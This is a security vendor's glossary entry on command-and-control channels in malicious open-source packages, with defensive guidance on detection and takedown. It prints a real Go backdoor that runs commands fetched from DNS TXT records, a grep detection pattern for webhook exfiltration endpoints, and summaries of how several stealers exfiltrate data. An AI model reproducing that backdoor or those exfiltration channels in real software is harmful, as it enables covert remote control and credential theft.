# Command and Control (C2)

> Command and control (C2) is the channel malware uses to receive an attacker's instructions and send stolen data back from a compromised system.

Also known as: C&C, CnC, C2 server, Command & Control, command-and-control server

Source: https://socket.dev/glossary/command-and-control-c2

Last updated: 2026-10-30

Command and control (C2, C&C, or CnC) is the channel an attacker uses to send instructions to malware on a compromised machine and receive stolen data back. The implant initiates contact, the operator answers with tasks, and results flow out. Without command and control, malware runs only what it shipped with. With it, the attacker drives the machine remotely.

In open source supply chain attacks, the C2 server is often not a server the attacker owns. We have documented [malicious packages](https://socket.dev/glossary/malicious-package) that take orders or ship stolen data through Discord webhooks, the Telegram Bot API, Gmail SMTP, GitHub repositories, DNS TXT records, an Internet Computer canister, Solana transaction memos, and the RubyGems registry itself. Most of those destinations are services a developer network already allows.

Our position: you cannot block your way out of C2 at the network edge. Domain blocklists catch attacker-owned hosts after someone reports them. They cannot touch a webhook on discord.com or a push to rubygems.org. The durable control sits earlier. Inspect what a package does before it is installed or imported, and treat any host that ran a C2 implant as compromised, whatever the registry does afterward.

## What does C2 mean in cyber security?

C2 in cyber security means command and control: the infrastructure and protocol an attacker uses to direct compromised systems after initial access. The term comes from military doctrine, where it names the authority and communications a commander uses to direct forces. [MITRE ATT&CK](https://socket.dev/glossary/adversarial-tactics-techniques-and-common-knowledge-att-and-ck) treats it as a tactic of its own, [TA0011](https://attack.mitre.org/tactics/TA0011/), and states the adversary's goal in one line: "The adversary is trying to communicate with compromised systems to control them." As of ATT&CK v20, that tactic groups 18 techniques, from Application Layer Protocol (T1071) to Web Service (T1102).

Three facts about networks shape every C2 design. Compromised machines sit behind NAT and firewalls that drop unsolicited inbound connections, so the implant dials out. Outbound HTTPS and DNS are allowed almost everywhere, so C2 rides those protocols. And the operator is not online all the time, so the implant polls on a timer. That polling is called beaconing. A C2 implant almost always opens the connection itself, because inbound traffic is blocked.

The polling interval trades responsiveness for stealth. The [shopsprint/decimal typosquat](https://socket.dev/blog/popular-go-decimal-library-typosquat-dns-backdoor) polls every 5 minutes. The [CanisterWorm](https://socket.dev/supply-chain-attacks/canisterworm) implant sleeps 300 seconds after install, then polls every 3,000 seconds. A slow beacon is harder to spot in flow logs and slower to obey.

## What is a C2 server?

A C2 server is the endpoint an implant checks in with to fetch tasks and deliver results. In a classic intrusion it is a host the attacker rents, usually behind a domain that can be swapped. In package malware it can be sixteen lines of Go and someone else's DNS.

The shopsprint/decimal [typosquatting](https://socket.dev/glossary/typosquatting) case is the clearest example we have published. The module copied github.com/shopspring/decimal, which has 38,634 known importers on pkg.go.dev, and v1.3.3 added this to `decimal.go` (domain defanged):

```go
func init(){
	go func(){
		for {
			records, err := net.LookupTXT("dnslog-cdn-images.freemyip[.]com")
			if err != nil {
				time.Sleep(5 * time.Minute)
				continue
			}
			for _, txt := range records {
				cmd := exec.Command(txt)
				cmd.CombinedOutput()
			}
			time.Sleep(5 * time.Minute)
		}
	}()
}
```

Every part of a C2 channel is in those lines. Go runs every `init()` before `main()`, so importing the package anywhere in a dependency graph starts the loop. The beacon is a DNS TXT query, which most egress controls treat as routine traffic. The task is the TXT record's value, which the operator edits in a free dynamic DNS account. Execution is `exec.Command`, so each record names a program to run. There is no result channel, and the operator does not need one to stage a second payload. The upstream library imports none of `net`, `os/exec`, or `time`, so this [backdoor](https://socket.dev/glossary/backdoor) changed the import list of a decimal arithmetic package.

The shopsprint/decimal backdoor stayed live for about 33 months before disclosure.

> Timeline of the github.com/shopsprint/decimal typosquat: benign copies from November 2017, weaponized with a DNS TXT C2 loop on August 19, 2023, disclosed May 19, 2026, about 33 months after weaponization.

Figure 2 in text: v1.0.0 of github.com/shopsprint/decimal appeared on November 8, 2017, as a benign copy. Five more benign tags followed between March 2018 and October 2021, mirroring upstream release dates. On August 19, 2023, v1.3.2 shipped at 09:20:28 UTC with two genuine upstream fixes, and v1.3.3 followed at 09:27:21 UTC with the DNS TXT beacon. VirusTotal first analyzed the C2 subdomain on August 7, 2024. Socket disclosed the backdoor on May 19, 2026, and the Go security team then withdrew the module from proxy.golang.org. That is roughly 69 months of benign history followed by roughly 33 months of live C2. The GitHub repository and owner account had already been deleted, and the proxy kept serving v1.3.3 anyway.

## What is the function of a C2 server?

A C2 server has four jobs: tasking the implant, receiving stolen data, staging new payloads, and changing the plan without touching the victim. Package malware rarely needs all four. Which ones it uses tells you how long it intends to stay.

**Tasking.** The implant asks what to do next. The final payload in [the npm RAT campaign targeting Alibaba developers](https://socket.dev/blog/npm-rat-targets-alibaba) checks in to a hardcoded endpoint and accepts commands including `info`, `screenshot`, `upload`, `download`, `execute`, `proxy`, and `exit`. Anything it does not recognize goes to the system shell. That is a [remote access trojan](https://socket.dev/glossary/remote-access-trojans-rats) in the textbook sense.

**Exfiltration.** One-shot [infostealers](https://socket.dev/glossary/infostealer) often skip tasking entirely. The npm package [mysql-dumpdiscord](https://socket.dev/blog/weaponizing-discord-for-command-and-control) reads `config.json`, `.env`, and similar files, truncates each to 1,900 characters, and POSTs them to a Discord webhook. One request, no reply.

**Staging.** The implant fetches the next stage on demand. Loaders in the [Contagious Interview](https://socket.dev/supply-chain-attacks/north-korea-s-contagious-interview-campaign) campaign POST to `apachelicense[.]vercel[.]app/getAddress?platform=<platform>`, read a `downloadUrl` from the JSON response, download `ecw_update.zip`, and run the platform-specific binary inside. ATT&CK files this as Ingress Tool Transfer (T1105).

**Control.** The operator changes behavior without touching the package. The CanisterWorm implant ignores any URL containing `youtube.com`, which appears to serve as an off switch: one edit to the canister's response would idle every infected host at once.

The split matters for defense. A one-shot stealer in a [postinstall script](https://socket.dev/glossary/postinstall-scripts) finishes before anyone looks, and its C2 is just a mailbox. A persistent implant keeps a channel open for months. Its C2 traffic is the best remaining place to catch it after install.

## Where package malware hides its command and control

Package malware uses three command and control topologies: a direct host, a relay through a trusted service, and a dead drop that points somewhere else.

> Three C2 topologies seen in package malware. Direct: the implant talks to an attacker-owned host. Relay: the implant posts to a trusted service such as a Discord webhook. Dead drop resolver: the implant reads a pointer from a canister or blockchain memo, then fetches the payload from wherever the pointer says.

Figure 1 in text: In the direct topology, the implant talks to a host the attacker controls. [GlassWorm](https://socket.dev/blog/glassworm-loader-hits-open-vsx-via-suspected-developer-account-compromise)'s stage 2 POSTs a stolen archive to `/p2p` on 45.32.150\[.\]251, and blocking that IP breaks nothing legitimate. In the relay topology, the implant POSTs to a trusted service. mysql-dumpdiscord sends `.env` contents to a discord.com webhook, and the operator reads the channel from an ordinary Discord client. Blocking discord.com breaks real users, and the webhook URL is the only secret. In the dead drop topology, the implant reads a pointer, then fetches the payload from wherever the pointer says. CanisterWorm's `pgmon` service GETs an Internet Computer (ICP) canister every 3,000 seconds, receives a URL, and downloads and runs the binary it names. The payload host never appears in the package, and the operator rotates it without republishing.

ATT&CK calls the third pattern a [dead drop resolver](https://attack.mitre.org/techniques/T1102/001/): content on a legitimate web service that points to the real C2. GlassWorm's stage 1 uses the same idea with Solana transaction memos instead of a canister.

The table below adds channels from [the original Shai-Hulud worm](https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages), whose September 2025 wave left 526 package versions in our IOC list, the Telegram-reporting Go module [golang-random-ip-ssh-bruteforce](https://socket.dev/blog/malicious-go-module-disguised-as-ssh-brute-forcer-exfiltrates-credentials), the Gmail-reporting PyPI package [Coffin-Codes-Pro](https://socket.dev/blog/using-trusted-protocols-against-you-gmail-as-a-c2-mechanism), and [GemStuffer](https://socket.dev/blog/gemstuffer), which used RubyGems itself as the drop.

| Channel | Published example | Direction | Block by destination? |
| --- | --- | --- | --- |
| Attacker-owned IP or domain | GlassWorm stage 2; Alibaba-targeted npm RAT | Two-way | Yes, once the host is known |
| Discord webhook | mysql-dumpdiscord | Out only | No: discord.com is shared with real users |
| Telegram Bot API | golang-random-ip-ssh-bruteforce | Out; the same token can poll for commands | Yes in CI, where Telegram is rarely needed |
| webhook.site | Shai-Hulud, September 2025 | Out only | Yes in CI |
| Victim's own GitHub account | Shai-Hulud repos named "Shai-Hulud" | Out only | No: api.github.com is required |
| Gmail SMTP | Coffin-Codes-Pro | Out via SMTP; tasks over a WebSocket tunnel | Usually yes: outbound SMTP is rare |
| DNS TXT on free dynamic DNS | shopsprint/decimal v1.3.3 | In: commands | Only by sinkholing the exact name once known |
| ICP canister dead drop | CanisterWorm | In: payload URL | Yes, if you do not use icp0.io |
| Solana transaction memo | GlassWorm stage 1 | In: next-stage pointer | No reliable block: public RPC nodes serve it |
| Package registry | GemStuffer on RubyGems | Out only | No: the registry must stay reachable |

Verdict: destination blocking reliably stops only the first row, and only after the host is reported. The Discord, GitHub, and registry rows ride services that developer machines and CI runners must reach. Default-deny egress in CI is still worth deploying, because it removes the Telegram, webhook.site, SMTP, and canister rows at almost no cost. It does nothing about the destinations you allowlist, and GemStuffer showed that the registry you allowlist first works as an exfiltration channel.

## How do you detect C2 in a dependency?

You detect C2 in a dependency by looking for the capabilities a channel needs, not the address it uses. A beacon needs network access. Tasking needs process execution or `eval`. Exfiltration needs something worth taking, which usually means environment variables or files like `.env` and `~/.npmrc`. A decimal library that imports `net` and `os/exec` fails that test before anyone learns the C2 domain.

[Socket's package analysis](https://docs.socket.dev/docs/supply-chain-risk) raises these as separate alerts, including Network access, Shell access, Environment variable access, and Install scripts, alongside AI-assisted malware detection. The combination is the signal. Plenty of legitimate packages make network calls. Very few utility libraries also spawn processes when imported.

Capability analysis has blind spots, and we would rather name them. Obfuscation hides strings: GlassWorm's loader decrypts stage 1 with AES-256-CBC and runs it with `eval`, so the C2 logic is never in plaintext. Dead drops hide destinations. Contagious Interview packages hide the loader behind ordinary methods such as a logger call or `find_by_key()`, so it runs when the application calls the library, not at install.

That last case is why blocking install scripts is necessary but not sufficient. [npm v12](https://socket.dev/blog/npm-12), released July 8, 2026, turns dependency install scripts off by default, as [pnpm 10](https://socket.dev/blog/pnpm-10-0-0-blocks-lifecycle-scripts-by-default) did in January 2025. As of October 2026, that default stops the one-shot install-time stealer for any package you have not approved. It does nothing for C2 that starts on import, like a Go `init()` or a booby-trapped logger.

A crude first pass is to grep installed dependencies for relay endpoints. The pattern below matches Discord webhooks, Telegram bot tokens, webhook.site, Slack incoming webhooks, ICP raw canister domains, and DNS TXT lookups in Node.js or Go. We ran it against a fixture of four planted packages:

```bash
$ grep -rEnoI 'discord(app)?\.com/api/webhooks/[0-9]+|api\.telegram\.org/bot[0-9]+:|webhook\.site/|hooks\.slack\.com/services/|\.raw\.icp0\.io|resolveTxt|LookupTXT' node_modules
node_modules/cfg-loader/index.js:1:resolveTxt
node_modules/log-helper/index.js:1:discord.com/api/webhooks/1000000000000000000
node_modules/ssh-scan/index.js:1:api.telegram.org/bot123456:
```

The fourth package stored the same kind of Discord webhook as a base64 string and produced no match. Treat a hit as a lead and a miss as nothing. Logging and alerting libraries embed webhooks for legitimate reasons, so every hit needs a human read.

Channels differ in what they give defenders. A hardcoded Telegram bot token is a full credential: the [Bot API](https://core.telegram.org/bots/api) accepts it for `sendMessage` and for `getUpdates`, which reads incoming messages by long polling. Our researchers used the token in golang-random-ip-ssh-bruteforce to identify the bot and its destination chat. A Discord webhook URL gives defenders far less, because webhook URLs are effectively write-only and expose no channel history.

## Registry takedown ends distribution, not control

Removing a package from the registry stops new installs. It does not reach the hosts that already ran it. The malicious CanisterWorm versions of `@emilgroup/account-sdk` are gone from npm, but the registry still records when they were published:

```bash
$ npm view @emilgroup/account-sdk time --json | grep '"1.41'
  "1.41.0": "2026-01-19T18:42:24.825Z",
  "1.41.1": "2026-03-20T20:15:11.617Z",
  "1.41.2": "2026-03-20T20:26:48.068Z",
$ npm view @emilgroup/account-sdk@1.41.2 version
npm error code E404
npm error 404 No match found for version 1.41.2
```

A Linux host that installed 1.41.2 before removal can still have `~/.config/systemd/user/pgmon.service` with `Restart=always`, polling the canister. For a C2 implant, the [indicators of compromise](https://socket.dev/glossary/indicators-of-compromise-ioc) that matter live on the host: the systemd unit, `~/.local/share/pgmon/service.py`, and `/tmp/.pg_state`. Rotate every credential the host could read, from a clean machine, and hunt for persistence before trusting it again.

The open problem is the dead drop. When the pointer lives in a Solana memo, there is no registrar to call. A confirmed transaction cannot be edited or deleted, and public RPC nodes serve it to anyone who asks. The only off switch left is the operator's. That is the strongest argument we know for catching C2 code before it runs: after it runs, the attacker decides when it stops.
